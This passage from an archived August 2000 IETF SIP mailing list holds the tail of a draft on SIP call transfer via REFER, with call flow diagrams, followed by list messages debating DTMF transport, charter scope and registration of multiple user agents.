altered by the REFER method.=20 Agents may alter a session's media through additional signaling. For=20 example, they may make use of the SIP hold re-INVITE [2] or the=20 conferencing extensions provided by this framework.=20 =20 6.1 Unattended Transfer=20 =20 Unattended Transfer consists of the Transferor providing the Transfer=20 Target's contact to the Transferee. The Transferee attempts to=20 establish a session using that contact and reports the results of that = attempt to the Transferor. The signaling relationship between the=20 Transferor and Transferee is not terminated, so the call is =20 recoverable if the Transfer Target cannot be reached. Note that the=20 Transfer Target's contact information has been exposed to the=20 Robert Sparks [Page 11]=20 =0C Internet Draft draft-ietf-sip-cc-transfer-00.txt July 2000=20 Transferee. The provided contact can be used to make new calls in the=20 future.=20 =20 The diagrams below show indicate the first line of each message. All=20 messages in a particular diagram share the same Call-ID. In these=20 diagrams, media is managed through reINVITE holds, but using other=20 mechanisms (mixing multiple media streams at the UA or using the=20 conferencing extensions for example) are valid.=20 6.1.1 Successful Unattended Transfer=20 =20 Transferor Transferee Transfer=20 | | Target=20 | INVITE | |=20 |<-------------------| |=20 | 200 OK | |=20 |------------------->| |=20 | ACK | |=20 |<-------------------| |=20 | INVITE (hold) | |=20 |------------------->| |=20 | 200 OK | |=20 |<-------------------| |=20 | ACK | |=20 |------------------->| |=20 | REFER | |=20 |------------------->| |=20 | 100 Trying | |=20 |<-------------------| |=20 | | INVITE |=20 | |------------------->|=20 | | 200 OK |=20 | |<-------------------|=20 | | ACK |=20 | |------------------->|=20 | 200 OK | |=20 |<-------------------| |=20 | BYE | |=20 |------------------->| |=20 | 200 OK | |=20 |<-------------------| |=20 | | BYE |=20 | |<-------------------|=20 | | 200 OK |=20 | |------------------->|=20 =20 =20 Robert Sparks [Page 12]=20 =0C Internet Draft draft-ietf-sip-cc-transfer-00.txt July 2000=20 6.1.2 Failed Unattended Transfer=20 =20 Transferor Transferee Transfer=20 | | Target=20 | | |=20 | INVITE | |=20 |<-------------------| |=20 | 200 OK | |=20 |------------------->| |=20 | ACK | |=20 |<-------------------| |=20 | INVITE (hold) | |=20 |------------------->| |=20 | 200 OK | |=20 |<-------------------| |=20 | ACK | |=20 |------------------->| |=20 | REFER | |=20 |------------------->| |=20 | 100 Trying | |=20 |<-------------------| |=20 | | INVITE |=20 | |------------------->|=20 | | 486 Busy Here |=20 | |<-------------------|=20 | | ACK |=20 | |------------------->|=20 | 503 Service Unavailable |=20 |<-------------------| |=20 | INVITE (unhold) | |=20 |------------------->| |=20 | 200 OK | |=20 |<-------------------| |=20 | ACK | |=20 |------------------->| |=20 | BYE | |=20 |------------------->| |=20 | 200 OK | |=20 |<-------------------| |=20 =20 =20 =20 =20 =20 =20 =20 Robert Sparks [Page 13]=20 =0C Internet Draft draft-ietf-sip-cc-transfer-00.txt July 2000=20 6.2 Unattended Transfer with Consultation Hold=20 =20 Transfer with Consultation Hold involves a session between the=20 transferor and the transfer target before the transfer actually takes=20 place. This is implemented with SIP Hold and Unattended Transfer as=20 described above.=20 =20 6.2.1 Variation 1 : Exposes transfer target=20 =20 The transferor places the transferee on hold, establishes a call with=20 the transfer target to alert them to the impending transfer,=20 terminates the connection with the transfer target, then proceeds with = unattended transfer as above. This variation can be used to provide an = experience similar to that expected by current PBX and Centrex users.=20 =20 To (hopefully) improve clarity, non-REFER transactions have been=20 collapsed into one indicator with the arrow showing the direction of=20 the request.=20 =20 Transferor Transferee Transfer=20 | | Target=20 | | |=20 Call-ID:1 | INVITE/200 OK/ACK | |=20 |<-------------------| |=20 Call-ID:1 | INVITE (hold)/200 OK/ACK |=20 |------------------->| |=20 Call-ID:2 | INVITE/200 OK/ACK | |=20 |---------------------------------------->|=20 Call-ID:2 | BYE/200 OK | |=20 |---------------------------------------->|=20 Call-ID:1 | REFER | |=20 |------------------->| |=20 | 100 Trying | |=20 |<-------------------| |=20 Call-ID:1 | | INVITE/200 OK/ACK |=20 | |------------------->|=20 | 200 OK | |=20 |<-------------------| |=20 Call-ID:1 | BYE/200 OK | |=20 |------------------->| |=20 Call-ID:1 | | BYE/200 OK |=20 | |<-------------------|=20 =20 =20 =20 =20 Robert Sparks [Page 14]=20 =0C Internet Draft draft-ietf-sip-cc-transfer-00.txt July 2000=20 =20 5.2.2 Variation 2 : Protects transfer target=20 =20 The transferor places the transferee on hold, establishes a call with=20 the transfer target and then reverses their roles, transferring the=20 original transfer target to the original transferee. This has the=20 advantage of hiding information about the original transfer target=20 from the original transferee. On the other hand, the Transferee's=20 experience is different that in current systems. The Transferee is=20 effectively "called back" by the Transfer Target.=20 =20 Transferor Transferee Transfer=20 | | Target=20 | | |=20 Call-ID:1 | INVITE/200 OK/ACK | |=20 |<-------------------| |=20 Call-ID:1 | INVITE (hold)/200 OK/ACK |=20 |------------------->| |=20 Call-ID:2 | INVITE/200 OK/ACK | |=20 |---------------------------------------->|=20 Call-ID:2 | INVITE (hold)/200 OK/ACK |=20 |---------------------------------------->|=20 Call-ID:2 | REFER | |=20 |---------------------------------------->|=20 | 100 Trying | |=20 |<----------------------------------------|=20 Call-ID:2 | | INVITE/200 OK/ACK |=20 | |<-------------------|=20 | 200 OK | |=20 |<----------------------------------------|=20 Call-ID:1 | BYE/200 OK | |=20 |------------------->| |=20 Call-ID:2 | BYE/200 OK | |=20 |---------------------------------------->|=20 Call-ID:2 | | BYE/200 OK |=20 | |------------------->|=20 =20 =20 =20 6.3 Attended Transfer=20 =20 In an attended transfer, the three actors participate in an ad-hoc=20 conference as part of the event. Discussion of the implementation of=20 attended transfer is thus deferred until the conferencing portion of=20 the Call Control framework has been addressed.=20 =20 Robert Sparks [Page 15]=20 =0C Internet Draft draft-ietf-sip-cc-transfer-00.txt July 2000=20 6.4 Transfer with multiple parties=20 =20 In this example the Originator places call to the Facilitator who=20 reaches the Recipient through the Screener. The Recipient's contact=20 information is exposed to the Facilitator and the Originator. This=20 example is provided for clarification of the semantics of the REFER=20 method only and should not be used as the design of an =20 implementation.=20 =20 Originator Facilitator Screener Recipient=20 Call-ID | | | |=20 1 |INVITE/200 OK/ACK | |"Get Fred for me!"=20 |----------->| | | "Right away!"=20 1 |INVITE (hold)/200 OK/ACK | |=20 |<-----------| | |=20 2 | |INVITE/200 OK/ACK |"I have a call=20 | |----------->| |from Mary for Fred"=20 2 | |INVITE (hold)/200 OK/ACK "Hold please"=20 | |<-----------| |=20 3 | | |INVITE/200 OK/ACK=20 | | |--------->|"You have a call=20 | | | |from Mary"=20 | | | | "Put her through"=20 3 | | |INVITE (hold)/200 OK/ACK=20 | | |--------->|=20 2 | |REFER | |=20 | |<-----------| |=20 | |100 Trying | |=20 | |----------->| |=20 2 | |INVITE/200 OK/ACK |=20 | |---------------------->|"This is Fred"=20 | |200 OK | | "Please hold for=20 | |----------->| | Mary"=20 2 | |BYE/200 OK | |=20 | |<-----------| |=20 3 | | |BYE/200 OK|=20 | | |--------->|=20 2 | |INVITE (hold)/200 OK/ACK=20 | |---------------------->|=20 1 |REFER | | |=20 |<-----------| | |=20 |100 Trying | | |=20 |----------->| | |=20 1 |INVITE/200 OK/ACK | |=20 |----------------------------------->| "Hey Fred"=20 |200 OK | | | "Hello Mary"=20 |----------->| | |=20 Robert Sparks [Page 16]=20 =0C Internet Draft draft-ietf-sip-cc-transfer-00.txt July 2000=20 1 |BYE/200 OK | | |=20 |<-----------| | |=20 2 | |BYE/200 OK | |=20 | |---------------------->|=20 1 |BYE/200 OK | | |=20 |<-----------------------------------| "See you later"=20 =20 =20 =20 =20 7 Author's Addresses=20 =20 Robert Sparks=20 dynamicsoft=20 200 Executive Drive=20 Suite 120=20 West Orange, NJ 07052=20 email: rsparks@dynamicsoft.com=20 =20 8 Acknowledgments=20 =20 This draft is a collaborative product of the SIP working group. The=20 author thanks the following for their early contributions to this=20 work: Ben Campbell, Chris Cunningham, Steve Donovan, Alan Johnston,=20 Kevin Summers and Dean Willis.=20 =20 9 References=20 =20 [1] S. Bradner, "The Internet Standards Process -- Revision 3",=20 BCP9, RFC2026, October 1996.=20 =20 [2] M. Handley, H. Schulzrinne, E. Schooler, and J. Rosenberg, =20 "SIP:Session Initiation Protocol", RFC 2543, March 1999.=20 =20 [3] B. Campbell, "Framework for SIP Call Control Extensions",=20 Internet Draft draft-ietf-sip-cc-framework-00, Internet=20 Engineering Task Force, March 2000. Work in Progress.=20 =20 [4] H. Schulzrinne, J. Rosenberg, "SIP Call Control Services",=20 Internet Draft draft-ietf-sip-cc-01, Internet Engineering Task=20 Force, June 17, 1999 Work in Progress (expired).=20 Robert Sparks [Page 17]=20 =0C ------=_NextPart_000_0003_01C00054.9210A0B0-- _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Mon Aug 7 11:38:00 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA26512 for ; Mon, 7 Aug 2000 11:38:00 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 6D9A644348; Mon, 7 Aug 2000 11:37:16 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from web118.yahoomail.com (web118.yahoomail.com [205.180.60.99]) by lists.bell-labs.com (Postfix) with SMTP id 73E3C44336 for ; Mon, 7 Aug 2000 11:37:12 -0400 (EDT) Received: (qmail 21110 invoked by uid 60001); 7 Aug 2000 15:37:10 -0000 Message-ID: <20000807153710.21109.qmail@web118.yahoomail.com> Received: from [206.172.244.181] by web118.yahoomail.com; Mon, 07 Aug 2000 08:37:10 PDT Date: Mon, 7 Aug 2000 08:37:10 -0700 (PDT) From: Tom Gray Subject: Re: [SIP] The NOTIFY method To: Robert Sparks , sip@lists.bell-labs.com MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com May I ask why SIP is being extended to include PBX feature handling? Isn't this an example of creeping featurism which could kill a protocol? --- Robert Sparks wrote: > If you have not already done so, please look over > draft-ietf-sip-cc-transfer-00.txt (attached for > convenience) and comment. > > We missed the original target for completing this > work. If there are any issues with the draft, lets > work through them as soon as possible. > > Thanks! > RjS > > __________________________________________________ Do You Yahoo!? Kick off your party with Yahoo! Invites. http://invites.yahoo.com/ _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Mon Aug 7 13:06:25 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA16412 for ; Mon, 7 Aug 2000 13:06:25 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 7C65044348; Mon, 7 Aug 2000 13:06:00 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from mail2.microsoft.com (mail2.microsoft.com [131.107.3.124]) by lists.bell-labs.com (Postfix) with SMTP id 434104433E for ; Mon, 7 Aug 2000 13:05:57 -0400 (EDT) Received: from 157.54.9.104 by mail2.microsoft.com (InterScan E-Mail VirusWall NT); Mon, 07 Aug 2000 10:03:29 -0700 (Pacific Daylight Time) Received: by INET-IMC-02 with Internet Mail Service (5.5.2651.58) id ; Mon, 7 Aug 2000 10:04:18 -0700 Message-ID: <2E3FA0558747934A8F753CC533A3F6DF043C3242@red-msg-24.redmond.corp.microsoft.com> From: Christian Huitema To: "'Scott Petrack'" , Richard Shockey Cc: Henning Schulzrinne , Skip Cave , sip@lists.bell-labs.com, skipcave@connect.net Subject: RE: [SIP] DTMF and Universal Key Input Date: Mon, 7 Aug 2000 10:04:15 -0700 X-Mailer: Internet Mail Service (5.5.2651.58) Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Fact is, good service centers also plan to support rotary phones. Hence, "press 1 or say 'one'." In fact, the most foolproof way to handle a multiservice IVR is to branch a good quality audio leg to that center. If you have the horsepower to recognize 'one', then dtmf recognition is really in the noise... _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Mon Aug 7 15:01:28 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA27401 for ; Mon, 7 Aug 2000 15:01:28 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id D77A844343; Mon, 7 Aug 2000 15:01:20 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from ziggy.stardust.com (ns.stardust.com [205.184.205.34]) by lists.bell-labs.com (Postfix) with ESMTP id 8680A4433E for ; Mon, 7 Aug 2000 15:01:17 -0400 (EDT) Received: from pleiades (dhcp204-96.stardust.com [205.184.204.96]) by ziggy.stardust.com (8.9.3/8.9.3/Debian/GNU) with SMTP id LAA29224 for ; Mon, 7 Aug 2000 11:56:10 -0700 Message-Id: <3.0.5.32.20000807115612.01472ec0@stardust.com> X-Sender: jasonu@stardust.com X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.5 (32) Date: Mon, 07 Aug 2000 11:56:12 -0700 To: sip@lists.bell-labs.com From: Jason Utz Mime-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Subject: [SIP] Call for SIP papers - iBAND at ISPCON Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id PAA27401 Greetings! SIP is one of the core technologies covered at the iBAND events. We would like to continue its progress at the upcoming iBAND at ISPCON Conference on November 8-10, 2000, in San Jose, CA. iBAND at ISPCON is a gathering place for key industry people to come together and learn about developments in the new Internet technologies: * Service Provisioning * Traffic Management * Performance Measurement * Your iBAND at ISPCON participation will help expose network engineers and other technology savvy professionals to the latest and greatest in SIP technology. My name is Jason Utz, conference manager for iBAND at ISPCON Conference. Stardust.com's CTO Martin Hall and I would like to invite you to share you progress and ideas with other relevant professionals in one or more ways: · Speaker Proposal * BOF Proposal * Showcase Participation * We value your expertise and look forward to receiving your speaker proposals to reflect the state of the art in SIP technology. Proposals are due no later than Friday, August 18, 2000. To find guidance and more information, please visit http://www.stardust.com/iband5/speakers.htm http://www.stardust.com for network engineers offers additional opportunities to supply information and progress for SIP updates and technologies: - conference sessions available in MP3 format, - live interviews on Stardust.com TalkRadio, - provide white papers and have them maintained in a Stardust.com Web library. All these options provide you with a large arena to deliver your working group's information and other updates. Please visit http://www.stardust.com to see what our site offers to its visitors. We want to help you drive this technology area forward so please let me know how you'd like to participate. Please contact me via email with any questions. Best regards, Jason Utz Conference Manager Stardust.com Jasonu@stardust.com www.stardust.com ***************** Stardust.com********************* Visit Stardust.com http://www.stardust.com Making sense of new Internet stuff Visit Stardust Talkradio Mondays in MP3 Format! *************************************************** Home of the IP Multicast Initiative (IPMI) the QoS Forum (QOSF) and the Wireless Multimedia Forum (WMF) NEW! *************************************************** UPCOMING EVENTS: *iBAND at ISPCON - Nov. 8-10, 2000, San Jose, CA *WISE, The Wireless Internet Services Event - Nov. 6-7, San Jose, CA ***************************************************** Jason Utz Conference Manager 15575 Los Gatos Blvd Suite C Fax 408/402-0567 Los Gatos, CA 95032 _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Mon Aug 7 15:15:29 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA06203 for ; Mon, 7 Aug 2000 15:15:28 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id DE26B4434E; Mon, 7 Aug 2000 15:15:02 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from mailgate.pit.comms.marconi.com (mailgate.pit.comms.marconi.com [169.144.68.6]) by lists.bell-labs.com (Postfix) with ESMTP id B5C404433E for ; Mon, 7 Aug 2000 15:14:59 -0400 (EDT) Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12]) by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id PAA27553 for ; Mon, 7 Aug 2000 15:14:54 -0400 (EDT) Received: from whq-msgrtr-02.fore.com (whq-msgrtr-02.pit.comms.marconi.com [169.144.2.220]) by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id PAA11321 for ; Mon, 7 Aug 2000 15:14:54 -0400 (EDT) Received: by whq-msgrtr-02.pit.comms.marconi.com with Internet Mail Service (5.5.2650.21) id ; Mon, 7 Aug 2000 15:14:52 -0400 Message-ID: <4FBEA8857476D311A03300204840E1CF6786C3@whq-msgusr-02.fore.com> From: "Rosen, Brian" To: sip@lists.bell-labs.com Date: Mon, 7 Aug 2000 15:14:53 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Subject: [SIP] SIP for Appliances Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com The discussion on SIP for appliances has been fascinating, and many good points have been raised. Use of SIP to CONTROL appliances may or may not be the greatest thing since sliced bread, but, unfortunately, falls outside of the SIP working group charter: "SIP is a text-based protocol, similar to HTTP and SMTP, for initiating interactive communication sessions between users. Such sessions include voice, video, chat, interactive games, and virtual reality." We encourage the authors of the draft to create a mailing list for the subject. They will be welcome to post an announcement of such a list on the main SIP list. If the discussion proves as lively as it has been, you may consider asking for a BOF at the next IETF meeting. Since we have a ton of work to accomplish that falls within the charter of the SIP WG, the chairs would like to cut off discussion of this subject on the SIP list. We do not wish to curtail sip discussions that focus on devices that facilitate multimedia communications between users (such as dedicated IP phones, kitchen-counter mail/web/sip boxes, set-top-boxes, and so on). These are within scope, and are encouraged. Brian Rosen Joerg Ott Dean Willis _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Mon Aug 7 15:32:31 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA16962 for ; Mon, 7 Aug 2000 15:32:30 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id AC85944354; Mon, 7 Aug 2000 15:32:03 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from redball.dynamicsoft.com (redball.dynamicsoft.com [216.173.40.51]) by lists.bell-labs.com (Postfix) with ESMTP id C1ED24433E for ; Mon, 7 Aug 2000 15:31:59 -0400 (EDT) Received: from dynamicsoft.com ([216.173.40.50]) by redball.dynamicsoft.com (8.9.3+Sun/8.10.0.Beta12) with ESMTP id PAA04764; Mon, 7 Aug 2000 15:33:21 -0400 (EDT) Message-ID: <398F0FDC.1D877C57@dynamicsoft.com> Date: Mon, 07 Aug 2000 15:37:00 -0400 From: Jonathan Rosenberg Organization: dynamicsoft X-Mailer: Mozilla 4.7 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: discussion@sipforum.org, sip Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: [SIP] Re: [SIPFORUM] multiple useragents Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit The sip list is the appropriate venue for questions on sip itself. "Arnoud van Wijk (ETM)" wrote: > > I am still having one problem with the following: > How will it work , when you REGISTER at a registrar, using 10 or so UAs? > Say on my computer 1 IM program using SIP, 1 Phoneprogram, and 1 client for homevents controlling and other programs and a news push client like Pointcast/ stock info, and a streaming movies provider showing "the Matrix" etc etc. It may be exaggerated to say 10 right now, BUT now on the regular internet..I am already using 6 different programs all the time. If I were having all via SIP..I will have 6?? entries at the registrar. Yes. They could all be registered as being contact addresses for the same name, or different names, depending on who these devices represent. >And imagine then..I close (accidentally ) the phoneprogram. What happens?..will all SIP INVITE messages >try to connect with all other UAs? (which will all fail ofcourse due invalid preferences). If you register them all to the same name, yes. > > Also added problem will be the following scenario: > 1 SIP phone and 1 telephony program on the computer. and an SIP INVITE for an IP phonecall comes in. Where does it go? I cannot imagine that AND the IPtelephony program AND the SIP phone will ring simultaneously Why not? Again, if these are registered as representing the same person, sure, they might both ring. >(userpreferences can solve it present..then use SIP-phone>, but since they are SIP header extensions and NOT planned to be IETF standard >some may not support it). Both the phone and the IP-telephony program may use different QoS requirements >and thus different media protocols (video possible on the UA on the computer and audio only on the >SIP-phone). The proxy can always do a sequential search. That does not require any extensions. -Jonathan R. -- Jonathan D. Rosenberg 72 Eagle Rock Ave. Chief Scientist First Floor dynamicsoft East Hanover, NJ 07936 jdrosen@dynamicsoft.com FAX: (973) 952-5050 http://www.cs.columbia.edu/~jdrosen PHONE: (732) 741-7244 http://www.dynamicsoft.com _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Mon Aug 7 16:41:54 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA22150 for ; Mon, 7 Aug 2000 16:41:53 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 6B0DE44348; Mon, 7 Aug 2000 16:41:28 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from web6404.mail.yahoo.com (web6404.mail.yahoo.com [128.11.22.152]) by lists.bell-labs.com (Postfix) with SMTP id 7DF004433E for ; Mon, 7 Aug 2000 16:41:24 -0400 (EDT) Message-ID: <20000807204122.333.qmail@web6404.mail.yahoo.com> Received: from [208.240.45.68] by web6404.mail.yahoo.com; Mon, 07 Aug 2000 13:41:22 PDT Date: Mon, 7 Aug 2000 13:41:22 -0700 (PDT) From: Mike Kallas Subject: Re: [SIP] DTMF and Universal Key Input To: Scott Petrack , Richard Shockey Cc: Henning Schulzrinne , Skip Cave , sip@lists.bell-labs.com, skipcave@connect.net MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com I think we need to start distinguishing between the session layer protocol and the application layer protocols. I think that DTMF, message waiting or any messages not related to session initiation or tear down should not be in SIP. However there is a huge demand for standardization of the communication of events that are: 1- application specific (IP Telephony) and 2- are either in session or out of session. I believe we need to create an IPTelephony Service/Application platform interface protocol. This protocol will interface between a telephony server running SIP signaling, Megaco Control or even H.323 and the service / application platform that needs the used input or user indication: This protocol would be an application level protocol. The application being "IPTelephony". It would be independent of SIP and would handle all the event signaling and function invocation needed by a service platform. Keep SIP simple and clean and address all the application stuff in one place Mike --- Scott Petrack wrote: > the point is not which one will take over the world. > The point is that the > applications are similar in many many cases. Today > the user experience is > that s/he can > > press '1' or say 'yes' > > Now it's just not really relevant that 99% of the > people press '1' and 1% > say 'yes.' Nor is it relevant that there will be > many places where one can > only press '1'. What is relevant is that the > INFORMATION to be encoded and > transported is IDENTICAL, whether '1' is pressed or > 'yes' is said. So from > the presentation layer down to the transport layer, > it's hard to see why > we need two different methods. > > I got the impression that Skip and others wanted to > enable the Internet > and Internet-connected devices to offer the same key > input service that > the PSTN and > PSTN devices offer today. Well, today, whether '1' > is pressed or 'yes' is > said, the real-time data is transported to a remote > device and gets > interpreted into a 'user input command'. > > The point of people who identify voice reco with key > input is that it is a > recipe for trouble if these two end-user events get > transported in two > completely different ways. If you need the keypress > to be transported > along the signalling path, then you also need the > "yes" to be transported > along the signaling path. And the encoding should > also be as similar as > possible, since the information to be encoded and > transported is similar. > > In both cases the data should be encoded and > transported as RTP, because > this is the only way you will get the same key input > service that you have > today. It is the only way to put saying 'yes' and > pressing '1' on an equal > footing, where they need to be. > > If you want to build an IVR controlled signaling > point, it is no problem > at all: the first answer to the SIP INVITE points to > a host that can > receive ONLY the DTMF payload type, no other. At > this point, the calling > phone can receive prompts via G.xxx ordinary audio, > and the calling phone > can only send DTMF back (because that's the only > codec the answerer > supports). This host might well be a signalling > server. It is hardly > rocket science to build an RTP stack which supports > the DTMF codec only. > After some DTMF, the session can be modified so that > the call is > transferred to another host which can handle the > proper audio codecs. > This is the translation into IP telephony of the > service which exists > today, which as far as I understand, is the > requirement. What is the > problem with this solution? Is the problem that the > signaling server now > has to understand DTMF-in-RTP, this is really not a > very difficult codec > to master, and surely we all prefer to have one way > of doing one thing > than having two or three? In addition, I'll bet that > you'll find it really > useful to be able to have multiple receivers for the > DTMF, etc. all the > standard RTP services for this audio signaling. > > It may well be that there is a need for some new > signaling to tell a > device to go into key input mode, or to send the > DTMF codecs to one place > and the ordinary audio to another, or something. But > these needs have > nothing to do with the encoding or transport of the > information, it seems > to me. > > > Scott Petrack > http://800.edial.com/scott.petrack@edial.com > > > On Sun, 6 Aug 2000, Richard Shockey wrote: > > > At 10:41 AM 8/5/2000 -0400, Henning Schulzrinne > wrote: > > >It's not that I think that key(board) input will > go away, just that it > > >won't be 12 buttons with numbers and */#. The > notion that this is in any > > >way tied to telephone service will go away. We'll > obviously have lots of > > >key input. It's the web now, both forms > (including speech input) and > > >applets, telnet/ssh/rlogin, IM, irc and maybe > other mechanisms. > > > > > >Why tie remote key(board) input to SIP or VoIP? > If telnet (and kin) or > > >web-based input modalities are not good enough, > we need to discuss this, > > >but that has nothing whatsoever to do with VoIP. > SIP may or may not be > > >the appropriate solution there. I don't want to > SUBSCRIBE to the > > >keyboard, I want to have an appropriate > interaction with an abstract > > >user interface that is far richer. For simple > ASCII, telnet will > > >probably do the trick (or the WAP "card" mode, if > you like that model). > > > > For what its worth I completely agree with Skip > here on the use of 12d > > keypads in applications. These classes of > terminals will not go away and > > will only increase in usage for several reasons > particularly mobile. > > > > 1. The use of E.164 numbering to identify SIP > endpoints ( aka The ENUM WG , > > since I'm co-chair I need to get a small ad in > here) and E.164 numbering is > > Globally Unique. > > > > 2. As Skip rightly pointed out numbers are > Linguistically Neutral > > ..something the IETF is still trying to deal with > in IDN. > > > > 3. Numbers are "domain less" addressing. > > > > 4. I continue to hear arguments about voice > recognition taking over but > > I've heard these arguments for 10 years now and > DTMF imput for applications > > just gets bigger and bigger. > > > > > > > > >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> > > > > Richard Shockey > > Senior Technical Industry Liaison > > NeuStar Inc. > > 1120 Vermont Avenue N.W. > > Suite 550 > > Washington DC. 20005 > > Voice 314.503.0640 > > Fax to EMail 815.333.1237 (Preferred for Fax) > > DC Number 202.533.2811 > > INTERNET Mail & IFAX : rich.shockey@neustar.com > > or rshockey@ix.netcom.com > > http://www.neustar.com > > > > <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< > > > > > > > > _______________________________________________ > > SIP mailing list > > SIP@lists.bell-labs.com > > http://lists.bell-labs.com/mailman/listinfo/sip > > > > > > _______________________________________________ > SIP mailing list > SIP@lists.bell-labs.com > http://lists.bell-labs.com/mailman/listinfo/sip __________________________________________________ Do You Yahoo!? Kick off your party with Yahoo! Invites. http://invites.yahoo.com/ _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Mon Aug 7 17:01:55 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA01992 for ; Mon, 7 Aug 2000 17:01:54 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id AD98D44356; Mon, 7 Aug 2000 17:00:57 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from ckmso1.proxy.att.com (ckmso1.att.com [12.20.58.69]) by lists.bell-labs.com (Postfix) with ESMTP id 390C84433E for ; Mon, 7 Aug 2000 17:00:54 -0400 (EDT) Received: from flf960r1.ems.att.com ([135.71.244.37]) by ckmso1.proxy.att.com (AT&T IPNS/MSO-2.2) with ESMTP id RAA12266; Mon, 7 Aug 2000 17:00:26 -0400 (EDT) Received: from njb140bh3.ems.att.com by flf960r1.ems.att.com (8.8.8+Sun/ATTEMS-1.4.1 sol2) id QAA12307; Mon, 7 Aug 2000 16:56:23 -0400 (EDT) Received: by njb140bh3.ems.att.com with Internet Mail Service (5.5.2652.35) id ; Mon, 7 Aug 2000 17:00:24 -0400 Message-ID: From: "Roy, Radhika R, ALCOO" To: Mike Kallas , Scott Petrack , Richard Shockey Cc: Henning Schulzrinne , Skip Cave , sip@lists.bell-labs.com, skipcave@connect.net Subject: RE: [SIP] DTMF and Universal Key Input Date: Mon, 7 Aug 2000 17:00:19 -0400 MIME-Version: 1.0 X-Mailer: 